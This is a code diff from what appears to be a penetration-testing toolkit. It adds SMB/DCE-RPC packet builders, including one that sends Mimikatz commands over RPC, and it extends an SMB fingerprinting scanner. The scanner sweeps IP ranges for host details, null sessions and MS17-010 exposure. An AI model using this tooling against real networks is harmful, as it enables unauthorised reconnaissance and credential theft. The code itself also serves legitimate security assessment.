self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
@@ -782,6 +838,21 @@ class SMBDCESVCCTLQueryService(Packet):
("ContextHandle", ""),
])
class SMBDCEMimiKatzRPCCommand(Packet):
fields = OrderedDict([
("ContextHandleLen", "\x07\x00\x00\x00"),
("ContextHandle", "\x00\x00\x00\x00"),
("ContextHandleLen2", "\x07\x00\x00\x00"),
("CMD", ""),
("CMDEnd", "\x00\x00"),
])
def calculate(self):
self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
class OpenAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0f"),
@@ -834,6 +905,42 @@ class ReadRequestAndX(Packet):
])
class SMBDCERPCReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xb8\x10"),
("MinCount", "\xb8\x10"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\x00\x00"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class WriteRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x06"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x00\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\x0a\x00"),#actual Len
("DataOffset", "\x3f\x00"),
("Bcc", "\x0a\x00"),
("Padd", ""),
("Data", ""),
])
class CloseRequest(Packet):
fields = OrderedDict([
@@ -1003,3 +1110,4 @@ class SMBDCEWinRegSaveKey(Packet):
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -20,23 +20,25 @@ import multiprocessing
from socket import *
from odict import OrderedDict
import optparse
from RunFingerPackets import *
__version__ = "0.6"
__version__ = "0.8"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format")
parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False)
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
options, args = parser.parse_args()
if options.TARGET is None:
print "\n-i Mandatory option is missing, please provide a target or target range.\n"
print("\n-i Mandatory option is missing, please provide a target or target range.\n")
parser.print_help()
exit(-1)
Timeout = 2
Host = options.TARGET
Grep = options.Grep
MS17010Check = options.all
class Packet():
fields = OrderedDict([
@@ -61,82 +63,6 @@ def GetBootTime(data):
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
#####################
@@ -153,23 +79,27 @@ def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
if OsVersion == "Unix":
OsVersion = ClientVersion
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
try:
length = struct.unpack('<H',data[43:45])[0]
if length > 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68])
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined, Time
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM)
@@ -177,7 +107,6 @@ def DomainGrab(Host):
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
@@ -198,7 +127,6 @@ def SmbFinger(Host):
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
@@ -216,31 +144,85 @@ def SmbFinger(Host):
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
s.close()
if data[8:10] == "\x73\x16":
OsVersion, ClientVersion = OsNameClientVersion(data)
return signing, OsVersion, ClientVersion
except:
pass
def check_ms17_010(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
t = SMBTransRAPData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
if data[9:13] == "\x05\x02\x00\xc0":
return True
else:
return False
else:
return False
except Exception as err:
return False
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x75\x00":
return True
else:
return False
except Exception:
return False
##################
#run it
def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
print "Retrieving information for %s..."%Host[0]
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
print "SMB signing:", Signing
print "Server Time:", Time[1]
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
NullSess = check_smb_null_session(Host)
if MS17010Check:
Ms17010 = check_ms17_010(Host)
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Vulnerable to MS17-010:", Ms17010
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
else:
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
pass
@@ -253,40 +235,40 @@ def ShowSmallResults(Host):
return False
try:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s']"%(Host[0], OsVer, DomainJoined, Signing, Time[1])
print Message
except:
pass
def IsGrepable():
if options.Grep:
return True
else:
return False
if MS17010Check:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
Ms17010 = check_ms17_010(Host)
message_ms17010 = ", MS17-010: {}".format(Ms17010)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010))
else:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess))
except Exception as err:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
if IsGrepable():
p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),))
threads.append(p)
p.start()
else:
p = multiprocessing.Process(target=ShowResults, args=((host,445),))
threads.append(p)
p.start()
if m:
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
if options.grep_output:
func = ShowSmallResults
else:
func = ShowResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=func, args=((host,445),))
threads.append(p)
p.start()
else:
if IsGrepable():
ShowSmallResults((Host,445))
else:
ShowResults((Host,445))
if options.grep_output:
ShowSmallResults((Host,445))
else:
ShowResults((Host,445))
RunFinger(Host)

410
tools/RunFingerPackets.py Normal file
View File

@@ -0,0 +1,410 @@
import random, struct
from socket import *
from time import sleep
from odict import OrderedDict
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xec\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xb1\x00"),
("ApplicationHeaderTag","\x60"),
("ApplicationHeaderLen","\x48"),
("AsnSecMechType","\x06"),
("AsnSecMechLen","\x06"),
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
("ChoosedTag","\xa0"),
("ChoosedTagStrLen","\x3e"),
("NegTokenInitSeqHeadTag","\x30"),
("NegTokenInitSeqHeadLen","\x3c"),
("NegTokenInitSeqHeadTag1","\xA0"),
("NegTokenInitSeqHeadLen1","\x0e"),
("NegTokenInitSeqNLMPTag","\x30"),
("NegTokenInitSeqNLMPLen","\x0c"),
("NegTokenInitSeqNLMPTag1","\x06"),
("NegTokenInitSeqNLMPTag1Len","\x0a"),
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenInitSeqNLMPTag2","\xa2"),
("NegTokenInitSeqNLMPTag2Len","\x2a"),
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageWorkstationNameBuffOffset","\x00\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
("NegTokenInitSeqMechMessageVersionLow","\x01"),
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1".encode('utf-16le')),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data2 = str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
